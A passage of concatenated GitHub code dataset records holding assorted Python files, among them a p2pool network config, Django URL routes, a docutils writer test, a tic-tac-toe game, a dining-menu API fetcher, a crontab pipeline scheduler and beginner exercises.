default.')\r\n parser.add_argument('--embedding_type', type=str, default='T4096', help='which VGG16 embeddings to use. Alternatives are R4096 and R64.')\r\n parser.add_argument('--n_k', type=int, default=5, help='number of nearest neighbours to use for PRDC.')\r\n parser.add_argument('--trunc', type=float, default=0, help='truncation threshold to apply when sampling latent z. If 0, no truncation applied.')\r\n parser.add_argument('--clear_metrics', type=int, default=0, help='boolean flag where 1= clear entire metric folder and 0=keep.')\r\n parser.add_argument('--use_temp_folder', type=int, default=1, help='Elect to use temporary folder.')\r\n args = parser.parse_args()\r\n print(args)\r\n\r\n reprocess_prdc(args)\r\n","repo_name":"ciaran-coleman/PlaqueGAN","sub_path":"PlaqueGAN/prdc_nn_experiment.py","file_name":"prdc_nn_experiment.py","file_ext":"py","file_size_in_byte":8940,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"18643923697","text":"from p2pool.bitcoin import networks\n\nPARENT = networks.nets['catcoin']\nSHARE_PERIOD = 15 # seconds target spacing\nCHAIN_LENGTH = 12*60*60//15 # shares\nREAL_CHAIN_LENGTH = 12*60*60//15 # shares\nTARGET_LOOKBEHIND = 20 # shares coinbase maturity\nSPREAD = 10 # blocks\nIDENTIFIER = 'cacacacae0e0e0e0'.decode('hex')\nPREFIX = 'fefecfcf0e0f3434'.decode('hex')\nP2P_PORT = 29902\nMIN_TARGET = 0\nMAX_TARGET = 2**256//2**20 - 1\nPERSIST = True\nWORKER_PORT = 9993\n# BOOTSTRAP_ADDRS = 'p2pool.e-pool.net 107.170.40.107 '.split(' ')\nBOOTSTRAP_ADDRS = 'p2pool.e-pool.net p2pool.name:9930 p2pool.thepeeps.net:41295 solidpool.org:8333 p2pool-eu.gotgeeks.com:8333 p2pool-us.gotgeeks.com:8333 rav3n.dtdns.net:8333 doge.dtdns.net:8333 pool.hostv.pl:8333 p2pool.org:8333 p2pool.gotgeeks.com:8333 p2pool.dtdns.net:8333'.split(' ')\nANNOUNCE_CHANNEL = '#p2pool-alt'\nVERSION_CHECK = lambda v: True\n","repo_name":"amarian12/p2pool-adaptive","sub_path":"p2pool/networks/catcoin.py","file_name":"catcoin.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"19348445318","text":"from django.urls import path\nfrom shop import views\n\napp_name = 'shop'\n\nurlpatterns = [\n path('', views.book_shop_list, name = 'book_shop_list'),\n path('add/', views.book_shop_create),\n path('show/', views.book_shop_detail),\n path('edite/', views.book_shop_update),\n path('delete/', views.book_shop_delate),\n path('genre/', views.genre_list),\n path('genre/add', views.genre_add),\n path('genre/show/', views.genre_detail),\n path('sale/', views.shop_sale),\n path('author/', views.author_list),\n path('author/show//', views.author_detail),\n path('author/add/', views.author_create),\n path('author/edite/', views.author_update),\n path('author/del/', views.author_remove),\n path('book/', views.book_list, name = 'book_list'),\n path('book/add/', views.book_create),\n path('book/show//', views.book_detail),\n path('book/edite//', views.book_update),\n path('book/del/', views.book_remove),\n\n # Add only links for add parts\n]\n","repo_name":"RomanG-sky/lesson2","sub_path":"shop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19542765612","text":"from limebet.data.picker import Picker\nfrom multiprocessing import Process\nimport os\n\n\ndef doubler(number):\n \"\"\"\n Функция умножитель на два\n \"\"\"\n result = Picker().get_data(id=number)\n proc = os.getpid()\n print('{0} doubled to {1} by process id: {2}'.format(\n number, result, proc))\n\n\nif __name__ == '__main__':\n procs = []\n numbers = [1, 2, 3, 4, 5, 6]\n\n for number in numbers:\n proc = Process(target=doubler, args=(number,))\n procs.append(proc)\n proc.start()\n\n for proc in procs:\n proc.join()\n","repo_name":"Igordr1999/LimeBet","sub_path":"limebet/data/my.py","file_name":"my.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"35443457835","text":"\nfrom django.conf.urls import url\nfrom django.contrib.auth import views as auth_views\nfrom . import views\n\napp_name = 'tea'\n\nurlpatterns = [\n\n url(r'^$', views.index, name='index'),\n\n url(r'^(?P[0-9]+)/$', views.DetailView.as_view(), name='detail'),\n\n url(r'^add/$', views.create_tea, name='tea-add'),\n\n url(r'^(?P[0-9]+)/update/$', views.TeaUpdate.as_view(), name='tea-update'),\n\n url(r'^(?P[0-9]+)/delete/$', views.TeaDelete.as_view(), name='tea-delete'),\n\n # url(r'^(?P[0-9]+)/brew/(?P[0-9]+)/update/$', views.GongFuBrewUpdate.as_view(), name='gfbrew-update'),\n\n # url(r'^brew/(?P[0-9]+)/delete/$', views.GongFuBrewDelete.as_view(), name='gfbrew-delete'),\n\n url(r'^(?P[0-9]+)/add_brew/$', views.create_gfbrew, name='gfbrew-add'),\n\n url(r'^brew/(?P[0-9]+)/update/$', views.update_gfbrew, name='gfbrew-update'),\n\n url(r'^brew/(?P[0-9]+)/delete/$', views.delete_gfbrew, name='gfbrew-delete'),\n\n url(r'^brew/(?P[0-9]+)/timer/$', views.steep_gfbrew, name='gfbrew-steep'),\n\n\n # url(r'^login/$', auth_views.login, name='login'),\n # url(r'^logout/$', auth_views.logout, name='logout'),\n\n]\n","repo_name":"licalsinj/tea_timer","sub_path":"PycharmProjects/tea_timer/tea/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11447240132","text":"from __future__ import absolute_import\n\nif __name__ == '__main__':\n import __init__\nfrom test_writers import DocutilsTestSupport\n\n\ndef suite():\n # Settings dictionary must not be empty for later changes to work.\n settings = {'expose_internals': []} # default\n s = DocutilsTestSupport.PublishTestSuite('pseudoxml',\n suite_settings=settings)\n s.generateTests(totest)\n settings['detailed'] = True\n s.generateTests(totest_detailed)\n return s\n\ntotest = {}\ntotest_detailed = {}\n\ntotest['basic'] = [\n# input\n[r\"\"\"\nThis is a paragraph.\n\n----------\n\nThis is a paragraph \nwith \\escaped \\characters.\n\nA Section\n---------\n\nFoo.\n\"\"\",\n# output\n\"\"\"\\\n\">\n \n This is a paragraph.\n \n \n This is a paragraph\n with escaped characters.\n
\n \n A Section\n <paragraph>\n Foo.\n\"\"\"]\n]\n\ntotest_detailed['basic'] = [\n# input \n[totest['basic'][0][0],\n# output \n\"\"\"\\\n<document source=\"<string>\">\n <paragraph>\n <#text>\n 'This is a paragraph.'\n <transition>\n <paragraph>\n <#text>\n 'This is a paragraph\\\\n'\n 'with \\\\x00escaped \\\\x00characters.'\n <section ids=\"a-section\" names=\"a\\\\ section\">\n <title>\n <#text>\n 'A Section'\n <paragraph>\n <#text>\n 'Foo.'\n\"\"\"]\n]\n\nif __name__ == '__main__':\n import unittest\n unittest.main(defaultTest='suite')\n","repo_name":"QuentinTournier40/AnimationFreeCAD","sub_path":"requirements/docutils-0.18/test/test_writers/test_pseudoxml.py","file_name":"test_pseudoxml.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"67"} +{"seq_id":"26370851718","text":"def primo(numero):\n razon = True\n for i in numero:\n if i % 2 != 0:\n razon = False\n break\n return razon\n\n\ndef run():\n numero = int(input('Ingrese un numero: '))\n\n if primo(numero):\n print('El numero es primo')\n else:\n print('El numero NO es primo')\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"HaroldCCS/python","sub_path":"python/platzi/1_Basico/primo.py","file_name":"primo.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40791414621","text":"#global variables\n#Create the game board through a list\ngame_board = [\"-\", \"-\", \"-\",\n \"-\", \"-\", \"-\",\n \"-\", \"-\", \"-\"]\n\n#initilize to True because thta while loop will run until it's False\ngame_still_going = True\nwinner = None\ncurrent_player = 'X'\ndef display_game_board():\n \"\"\" This function displays the game board by accessing the indices\n from the game board list.\n \"\"\"\n print(game_board[0] + \" | \" + game_board[1] + \" | \" + game_board[2])\n print(game_board[3] + \" | \" + game_board[4] + \" | \" + game_board[5])\n print(game_board[6] + \" | \" + game_board[7] + \" | \" + game_board[8])\n\ndef play_game():\n\n #Calls game board function to display the game board\n display_game_board()\n\n #loop until someone wins or a tie occurs\n while game_still_going:\n #creates a single turn for each player\n handle_turn(current_player)\n #Checks if the game is over\n check_if_game_over()\n #Flips turns to the other player\n flip_player()\n #the game has ended\n if winner == \"X\" or winner == \"O\":\n print(winner + \" won.\")\n elif winner == None:\n print(\"Tie.\")\n\ndef handle_turn(player):\n \"\"\"Handles a turn for a player\"\"\"\n print(player + \"'s turn\")\n position_question = input(\"Choose a position from 1-9: \")\n valid = False\n while not valid:\n while position_question not in [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]:\n position_question = input(\"Invalid input. Choose a position from 1-9: \")\n position_question = int(position_question) - 1\n if game_board[position_question] == \"-\":\n valid = True\n else:\n print(\"You can't go there. Go again\")\n #player will be either X or O\n game_board[position_question] = player\n display_game_board()\n\ndef check_if_game_over():\n \"\"\" This function checks if the game over by checking if there is\n a win or a tie present on the game board\"\"\"\n check_if_win()\n check_if_tie()\n\ndef check_if_win():\n \"\"\"There are three different way to win including 3 in a row, in a column or diagonally\"\"\"\n #sets up the global variables\n global winner\n #checks rows\n row_winner = check_rows()\n #checks columns\n column_winner = check_columns()\n #check diagnals\n diagnal_winner = check_diagnol()\n if row_winner:\n winner = row_winner\n elif column_winner:\n winner = column_winner\n elif diagnal_winner:\n winner = diagnal_winner\n else:\n winner = None\n return\n\ndef check_rows():\n \"\"\"Checks if the 3 of the same letters are present in a row\"\"\"\n\n #sets up global variables\n global game_still_going\n row_1 = game_board[0] == game_board[1] == game_board[2] != '-'\n row_2 = game_board[3] == game_board[4] == game_board[5] != '-'\n row_3 = game_board[6] == game_board[7] == game_board[8] != '-'\n #if any row has a match, the game is stopped\n if row_1 or row_2 or row_3:\n game_still_going = False\n\n #return's the winner if its X or O\n if row_1:\n return game_board[0]\n elif row_2:\n return game_board[3]\n elif row_3:\n return game_board[6]\n return\n\ndef check_columns():\n \"\"\"Checks to see if there are 3 letters in a column\"\"\"\n #sets up global variables\n global game_still_going\n column_1 = game_board[0] == game_board[3] == game_board[6] != '-'\n column_2 = game_board[1] == game_board[4] == game_board[7] != '-'\n column_3 = game_board[2] == game_board[5] == game_board[8] != '-'\n #if any column has a match, the game is stopped\n if column_1 or column_2 or column_3:\n game_still_going = False\n\n #return's the winner if its X or O\n if column_1:\n return game_board[0]\n elif column_2:\n return game_board[1]\n elif column_3:\n return game_board[2]\n return\n\ndef check_diagnol():\n \"\"\" Checks if three of the same letters are present diagnolly to determine a winner\"\"\"\n #sets up global variables\n global game_still_going\n diagnol_1 = game_board[0] == game_board[4] == game_board[8] != '-'\n diagnol_2 = game_board[6] == game_board[4] == game_board[2] != '-'\n #if any column has a match, the game is stopped\n if diagnol_1 or diagnol_2:\n game_still_going = False\n\n #return's the winner if its X or O\n if diagnol_1:\n return game_board[8]\n elif diagnol_2:\n return game_board[6]\n return\n\ndef check_if_tie():\n \"\"\"Checks if a tie is present among the two players\"\"\"\n global game_still_going\n if '-' not in game_board:\n game_still_going = False\n return\n\ndef flip_player():\n \"\"\"This function will flip between the two players ie X and O\"\"\"\n #global variables that we need\n global current_player\n #if the current player is X, then switch to player O\n if current_player == 'X':\n current_player = 'O'\n #if the current player is O, then switch to player X\n elif current_player == 'O':\n current_player = 'X'\n return\nplay_game()","repo_name":"nehasikand/Tic-Tac-Toe","sub_path":"TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":5008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31436046398","text":"import requests\nimport json\nimport sys\n\n# Get the Site ID for the UChicago Dine On Campus Site\ndef get_site_id(schoolname='uchicago'):\n response = requests.get('https://api.dineoncampus.com/v1/sites/{}/info'.format(schoolname))\n data = response.json()\n site_id = data['site']['id']\n return site_id\n\n# Designate Which Dining Halls to Get Data From\ndef building_of_interest(building_name, list_of_buildings=['Bartlett Dining Commons', 'Cathey Dining Commons', 'Baker Dining Commons', 'Woodlawn Dining Commons']):\n return building_name in list_of_buildings\n\n# Get Dining Hall IDs for Each Dining Hall; returns a dict mapping dining hall names to their IDs\ndef get_dining_hall_ids(site_id):\n '''\n site_id: ID of the UChicago Dine On Campus Site\n\n returns: dict mapping dining hall names to their IDs\n '''\n all_location_url = 'https://api.dineoncampus.com/v1/locations/all_locations?platform=0&site_id={}&for_menus=true&with_address=false&with_buildings=true'.format(site_id)\n response = requests.get(all_location_url)\n data = response.json()\n \n # Extract Building IDs\n building_ids = {}\n for building in data['buildings']:\n for location in building['locations']:\n # Dining Hall must be: (1) in our target and; (2) actively open\n if building_of_interest(location['name']) and location['active']:\n building_ids[location['name']] = location['id']\n return building_ids\n\n\n# Build Mapping of Dining Hall Names to IDs and to Meal IDs\ndef get_dining_hall_mappings(dining_hall_ids, date):\n '''\n dining_hall_ids: dict mapping dining hall names to their IDs\n date: date in form YYYY-[M]M-[D]D\n returns: dict mapping dining hall names to their IDs and to meal IDs\n '''\n dining_hall_mappings = {}\n for building_name, building_id in dining_hall_ids.items():\n period_request_url = 'https://api.dineoncampus.com/v1/location/{}/periods?platform=0&date={}'.format(building_id, date)\n data = requests.get(period_request_url).json()\n if not data['closed']:\n dining_hall_mappings[building_name] = {}\n for period in data['periods']:\n if period['name'] == 'Lunch' or period['name'] == 'Dinner':\n dining_hall_mappings[building_name][period['name']] = period['id']\n dining_hall_mappings[building_name]['location_id'] = building_id\n \n return dining_hall_mappings\n\n# Gets the Kosher Menu for a Specific Dining Hall and Meal\ndef get_hall_meal_data(meal, dining_hall, date):\n '''\n meal: meal name (e.g. 'Lunch')\n dining_hall: dining hall name (e.g. 'Bartlett Dining Commons')\n date: date in form YYYY-[M]M-[D]D\n\n returns: dict mapping food names to their descriptions\n '''\n\n site_id = get_site_id()\n dining_hall_ids = get_dining_hall_ids(site_id)\n dining_hall_mappings = get_dining_hall_mappings(dining_hall_ids, date)\n \n # Get the Location ID\n location_id = dining_hall_mappings[dining_hall]['location_id']\n\n # Get the Meal ID\n meal_id = dining_hall_mappings[dining_hall][meal]\n\n # Build the URL\n request_url = \"https://api.dineoncampus.com/v1/location/{}/periods/{}?platform=0&date={}\".format(location_id, meal_id, date)\n\n # Get the Data\n data = requests.get(request_url).json()\n\n # Extract and Return the Kosher Menu\n for category in data['menu']['periods']['categories']:\n if 'Kosher' in category['name']:\n return category['items']\n\n return None\n\ndef filter_kosher_menu(kosher_items):\n '''\n kosher_menu: dict with food names, descriptions, and other irrelevant information\n\n returns: dict mapping food names to their descriptions, but only for kosher food\n '''\n relevant_items = []\n for item in kosher_data:\n if item['desc'] != None:\n entry = \"{}: {}\".format(item['name'], item['desc'])\n else:\n entry = item['name']\n relevant_items.append(entry)\n return relevant_items\n\nif __name__ == '__main__':\n '''\n Example Usage:\n python3 getKosherDining.py <date> <dining_hall> <meal>\n python3 getKosherDining.py 2023-5-18 'Baker Dining Commons' 'Lunch'\n '''\n date = sys.argv[1]\n dining_hall = sys.argv[2]\n meal = sys.argv[3]\n\n kosher_data = get_hall_meal_data(meal, dining_hall, date)\n filtered_kosher_data = filter_kosher_menu(kosher_data)\n\n print(filtered_kosher_data)\n\n\n","repo_name":"Zacharyr41/KosherDiningUChicago","sub_path":"getKosherDining.py","file_name":"getKosherDining.py","file_ext":"py","file_size_in_byte":4439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11007618881","text":"import pathlib\nimport subprocess\nimport typing\n\nfrom labm8.py import app\nfrom labm8.py import fs\n\nFLAGS = app.FLAGS\n\n# Type hint for a preprocessor function. See @clgen_preprocess for details.\nPreprocessorFunction = typing.Callable[[str], typing.List[str]]\n\n\ndef dataset_preprocessor(func: PreprocessorFunction) -> PreprocessorFunction:\n \"\"\"A decorator which marks a function as a dataset preproceessor.\n\n A preprocessor is accessible using GetPreprocessFunction(), and is a\n function which accepts a single parameter 'text', and returns a string.\n Type hinting is used to ensure that any function wrapped with this decorator\n has the appropriate argument and return type. If the function does not, an\n InternalError is raised at the time that the module containing the function\n is imported.\n\n Args:\n func: The preprocessor function to decorate.\n\n Returns:\n The decorated preprocessor function.\n\n Raises:\n InternalError: If the function being wrapped does not have the signature\n 'def func(text: str) -> str:'.\n \"\"\"\n expected_type_hints = {\n \"import_root\": pathlib.Path,\n \"file_relpath\": str,\n \"all_file_relpaths\": typing.List[str],\n \"text\": str,\n \"return\": typing.List[str],\n }\n if typing.get_type_hints(func) != expected_type_hints:\n return_type = expected_type_hints.pop(\"return\").__name__\n expected_args = \", \".join(\n [f\"{k}: {v.__name__}\" for k, v in expected_type_hints.items()]\n )\n raise TypeError(\n f\"Preprocessor {func.__name__} does not have signature \"\n f'\"def {func.__name__}({expected_args}) -> {return_type}\".'\n )\n func.__dict__[\"is_dataset_preprocessor\"] = True\n return func\n\n\ndef GetAllFilesRelativePaths(\n root_dir: pathlib.Path, follow_symlinks: bool = False\n) -> typing.List[str]:\n \"\"\"Get relative paths to all files in the root directory.\n\n Follows symlinks.\n\n Args:\n root_dir: The directory to find files in.\n follow_symlinks: If true, follow symlinks.\n\n Returns:\n A list of paths relative to the root directory.\n\n Raises:\n EmptyCorpusException: If the content files directory is empty.\n \"\"\"\n with fs.chdir(root_dir):\n cmd = [\"find\"]\n if follow_symlinks:\n cmd.append(\"-L\")\n cmd += [\".\", \"-type\", \"f\"]\n try:\n find_output = subprocess.check_output(cmd).decode(\"utf-8\").strip()\n except UnicodeDecodeError:\n # Unicode error could happen with special characters in paths.\n return []\n if find_output:\n # Strip the leading './' from paths.\n return [x[2:] for x in find_output.split(\"\\n\")]\n else:\n return []\n","repo_name":"ChrisCummins/phd","sub_path":"datasets/github/scrape_repos/preprocessors/public.py","file_name":"public.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"67"} +{"seq_id":"19166356669","text":"# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\n 欧洲职业足球数据库分析\r\n\r\n 任务:\r\n - 根据数据库中球员的信息获取每个球员的姓名、年龄、体重、身高和平均得分\r\n\r\n\"\"\"\r\n\r\nimport sqlite3\r\nimport json\r\n\r\nimport utils\r\n\r\n\r\n# 声明变量\r\ndb_filepath = './database/soccer.db' # 数据库文件路径\r\njson_filepath = './player.json' # 保存的球员JSON文件\r\n\r\n\r\ndef get_players_info(cur, n_players=None):\r\n \"\"\"\r\n 多表查询获取球员基本数据\r\n \"\"\"\r\n # 从Player表中获取球员基本信息\r\n if n_players:\r\n # 获取指定个数的球员信息\r\n sql = \"SELECT * FROM Player LIMIT {};\".format(n_players)\r\n else:\r\n # 获取所有球员信息\r\n sql = \"SELECT * FROM Player;\"\r\n\r\n rows = cur.execute(sql).fetchall()\r\n\r\n # 构造球员列表\r\n player_list = []\r\n for row in rows:\r\n player = dict()\r\n # 1. 姓名\r\n player['name'] = row[2]\r\n # 2. 年龄\r\n birthday_str = row[4]\r\n player['age'] = utils.get_age(birthday_str)\r\n # 3. 体重\r\n player['weight'] = row[5]\r\n # 4. 身高\r\n player['height'] = row[6]\r\n # 5. 平均评分\r\n player_api_id = row[1]\r\n player['average rating'] = utils.get_overall_rating(cur, player_api_id)\r\n\r\n player_list.append(player)\r\n\r\n # 将处理后的结果保存到JSON文件中\r\n with open(json_filepath, 'w') as f:\r\n json.dump(player_list, f)\r\n\r\n\r\ndef main():\r\n \"\"\"\r\n 主函数\r\n \"\"\"\r\n # 连接数据库\r\n conn = sqlite3.connect(db_filepath)\r\n cursor = conn.cursor()\r\n\r\n # 获取球员基本信息\r\n get_players_info(cursor, n_players=50)\r\n\r\n # 分析结束,关闭数据库\r\n conn.close()\r\n\r\n \r\nif __name__ == '__main__':\r\n main()\r\n\r\n","repo_name":"yuqiluo/data_analysis","sub_path":"European professional football database analysis/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31983628181","text":"from crontab import CronTab\r\nfrom datetime import datetime\r\nimport argparse\r\nimport csv\r\n\r\n\r\n# set up env and db in config.json\r\n\r\ndef read_input():\r\n ap = argparse.ArgumentParser()\r\n ap.add_argument(\"-u\", \"--user\", required=True)\r\n ap.add_argument(\"-f\", \"--file\", required=True)\r\n \r\n args = vars(ap.parse_args())\r\n user = args[\"user\"]\r\n filename = args[\"file\"]\r\n return user, filename\r\n\r\n\r\nif __name__ == '__main__':\r\n \r\n user, filename = read_input()\r\n my_cron = CronTab(user=user)\r\n\r\n data = csv.DictReader(open(filename))\r\n for row in data:\r\n pName = row[\"Pipeline Name\"]\r\n freq = row['Frequency'] \r\n start = row['Start Time UTC']\r\n print(pName, start)\r\n\r\n if pName == \"End\":\r\n # clean up\r\n job = my_cron.new(command='python /home/ph_cron-fvdlservice/scheduler/RmCron.py --user '+ user, comment=\"one time\")\r\n else:\r\n job = my_cron.new(command='python /home/ph_cron-fvdlservice/scheduler/StartJob.py --name '+pName+' --conf /home/ph_cron-fvdlservice/scheduler/config.json', comment=freq)\r\n\r\n datetime = datetime.strptime(start, \"%Y-%m-%d %H:%M\")\r\n if freq == \"one time\":\r\n job.month.on(datetime.month)\r\n job.day.on(datetime.day)\r\n job.hour.on(datetime.hour)\r\n job.minute.on(datetime.minute)\r\n\r\n if freq == \"daily\":\r\n job.hour.on(datetime.hour)\r\n job.minute.on(datetime.minute)\r\n\r\n elif freq == \"hourly\":\r\n job.minute.on(datetime.minute)\r\n\r\n my_cron.write()\r\n","repo_name":"raelyn9/Data-Pipeline-Scheduler","sub_path":"Scheduler.py","file_name":"Scheduler.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"26291561283","text":"#Ask the user for a number. \r\n#Depending on whether the number is even or odd, \r\n#print out an appropriate message to the user. \r\n#Hint: how does an even / odd number react differently when divided by 2?\r\n\r\nnumber = input(\"Please enter an integer (a whole number or its opposite - no decimals, please): \")\r\nnumber = float(number)\r\nif number%2 == 0:\r\n print(\"Your number is even.\")\r\nelif number%2 == 1:\r\n print(\"Your number is odd.\")\r\nelse:\r\n print(\"Ok, wise guy, please try to follow the rules.\")","repo_name":"Bombadillo76/Even-Odd","sub_path":"evenodd.py","file_name":"evenodd.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16692820904","text":"#Librerias para trabajar con visualizaciones interactivas\nimport plotly\nimport plotly.express as px\n#Librerias para crear un tablero con plotly\nfrom jupyter_dash import JupyterDash\nfrom dash import dcc\nfrom dash import html\n#Libreria para cambiar el diseño de un tablero en dash\nimport dash_bootstrap_components as dbc\nfrom dash.dependencies import Input, Output\n#Libreria para manipulacion de datos con dataframes\nimport pandas as pd\nfrom IPython.display import display\n\n#Se carga un dataframe con informacion de paises para dash\ndf = px.data.gapminder()\nprint(\"Dataframe del conjunto de datos de paises para dash:\")\n#Se muestra la informacion a modo de ejemplo\ndisplay(df)\n\n#Se carga un dataframe con informacion de paises de America para dash\ndf = px.data.gapminder().query(\"continent == 'Americas'\")\n#Se crea una aplicacion de dash\napp = JupyterDash(__name__)\n#Se crea el primer grafico en plotly express\nfig1 = px.pie(df,\n values='pop',\n names='country',\n labels={\"pop\": \"Cantidad de habitantes\",\n \"country\": \"Pais\"},\n title=\"Porcentaje de población en los países de América\")\n#Se crea el segundo grafico en plotly express\nfig2 = px.scatter(df,\n x='lifeExp',\n y='pop',\n color=\"country\",\n labels={\"pop\": \"Cantidad de habitantes\",\n \"lifeExp\": \"Esperanza de vida\",\n \"country\": \"Pais\"},\n title=\"Distribución de población vs esperanza de vida en algunos,→países de América\")\n#Se define el estilo del tablero\napp.layout = html.Div(\n children=[\n #Se crea un encabezado en el tablero\n html.H1(children=\"Mi primer tablero en dash\",),\n #Se agrega un parrafo despues del encabezado\n html.P(\n children=\"Creación de dos visualizaciones dentro \"\n \"de un tablero de dash pero sin \"\n \"ninguna interactividad superior al de las figuras\",\n),\n #Se añaden los graficos dentro del tablero/pagina de dash\n dcc.Graph(figure=fig1),\n dcc.Graph(figure=fig2),\n] )\n#Se ejecuta la aplicacion de dash en 'local host'\napp.run_server(host=\"127.0.0.1\", port=\"8050\", debug=True)","repo_name":"Aaronrss/ProgramacionAvanzada","sub_path":"proyecto/datasets/dshbrd.py","file_name":"dshbrd.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42767832876","text":"# Imports\r\nimport sqlite3\r\n\r\n\r\n# Db class\r\nclass Database:\r\n def __init__(self, db):\r\n self.con = sqlite3.connect(db)\r\n self.cur = self.con.cursor()\r\n sql = \"\"\"\r\n CREATE TABLE IF NOT EXISTS compars(\r\n Id text , \r\n Name text,\r\n Age INTEGER,\r\n Gender text,\r\n Contact text,\r\n Address text,\r\n Solt text\r\n ) \r\n \"\"\"\r\n self.cur.execute(sql)\r\n self.con.commit()\r\n\r\n def insert(self, id, name, age, gender, contact, address, slot):\r\n self.cur.execute(\"insert into compars values (?,?,?,?,?,?,?)\", (id, name, age, gender, contact, address, slot))\r\n self.con.commit()\r\n\r\n def select(self):\r\n self.cur.execute(\"SELECT * from compars\")\r\n rows = self.cur.fetchall()\r\n return rows\r\n\r\n def delete(self, id):\r\n self.cur.execute(\"delete from compars where id=? \", (id,))\r\n self.con.commit()\r\n\r\n def update(self, id, name, age, gender, contact, address, slot):\r\n self.cur.execute(\"update compars set name=?,age=?,gender=?,contact=?,address=?,solt=? where id=?\",\r\n (name, age, gender, contact, address, slot, id))\r\n self.con.commit()\r\n\r\n # lion dear wolf counts\r\n def sqlcountl(self):\r\n rows = self.cur.execute('SELECT COUNT(solt)FROM compars WHERE solt=\"Solt-1 (LOIN)\"')\r\n my = rows.fetchone()\r\n a = (''.join(map(str, my)))\r\n row = 50 - int(a)\r\n return row\r\n\r\n def sqlcountd(self):\r\n rows = self.cur.execute('SELECT COUNT(solt)FROM compars WHERE solt=\"Solt-2 (DEAR)\"')\r\n my = rows.fetchone()\r\n a = (''.join(map(str, my)))\r\n row = 90 - int(a)\r\n return row\r\n\r\n def sqlcountw(self):\r\n rows = self.cur.execute('SELECT COUNT(solt)FROM compars WHERE solt=\"Solt-3 (WOLF)\"')\r\n my = rows.fetchone()\r\n a = (''.join(map(str, my)))\r\n row = 30 - int(a)\r\n return row\r\n","repo_name":"RajaSparrow/Add-Member-in-Compound-show-Compund-Balance-count","sub_path":"compars.py","file_name":"compars.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36257632066","text":"#!/usr/bin/python3\n\n\"\"\"\nModule 100-matrix-mul\nThs module contains functions that multiply 2 matrices together\n\"\"\"\n\n\ndef chk_row(row, strn):\n \"\"\"This function checks individual rows in each matrix\n for errors\n Args:\n row: Individual row of each matrix\n strn: Name of the matrix in which the row failed\n Raises:\n TypeError: if row contains data type other than float and int\n ValueError: if row is empty\n \"\"\"\n err = strn + \" should contain only integers or floats\"\n if len(row) == 0:\n raise ValueError(strn + \" can't be empty\")\n else:\n for i in row:\n if not isinstance(i, (int, float)):\n raise TypeError(err)\n\n\ndef deep_chk(mat, strn):\n \"\"\"This function checks individual matrix for errors\n Args:\n mat: Matrix to check\n strn: Name of the failed matrix\n\n Raises:\n TypeError: if any of the matrix contains error\n ValueError: if matrix sizes are not the same\n \"\"\"\n if len(mat) == 0:\n raise ValueError(strn + \" can't be empty\")\n for row in mat:\n if not isinstance(row, list):\n raise TypeError(strn + \" must be a list of lists\")\n else:\n a = len(mat[0])\n if len(row) != a:\n raise TypeError(\n \"each row of \" + strn + \" must be of the same size\"\n )\n else:\n chk_row(row, strn)\n\n\ndef matrix_mul(m_a, m_b):\n \"\"\"This function multiply 2 matrices and return a new list\n or matrix containing the result of the product of the 2 matrices\n\n Args:\n m_a: First matrix\n m_b: Second matrix\n\n Raises:\n TypeError: m_a or m_b is not a list or they contains data type\n other than int and float or when both rows are not the same\n\n ValueError: m_a or m_b is an empty list or both can't be multiplied\n\n Return: The product of the 2 matrices\n \"\"\"\n if not isinstance(m_a, list):\n raise TypeError(\"m_a must be a list\")\n elif not isinstance(m_b, list):\n raise TypeError(\"m_b must be a list\")\n else:\n deep_chk(m_a, \"m_a\")\n deep_chk(m_b, \"m_b\")\n\n if len(m_a[0]) != len(m_b):\n raise ValueError(\"m_a and m_b can't be multiplied\")\n\n result = [[0 for j in range(len(m_b[0]))] for i in range(len(m_a))]\n\n for a in range(len(m_a)):\n for b in range(len(m_b[0])):\n for c in range(len(m_b)):\n result[a][b] += m_a[a][c] * m_b[c][b]\n\n return result\n","repo_name":"Topsurpass/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/100-matrix_mul.py","file_name":"100-matrix_mul.py","file_ext":"py","file_size_in_byte":2524,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"16144862525","text":"\"\"\"\nQuestion 2095: https://leetcode.com/problems/delete-the-middle-node-of-a-linked-list/\n\nEasy question after having solved questions 876 and 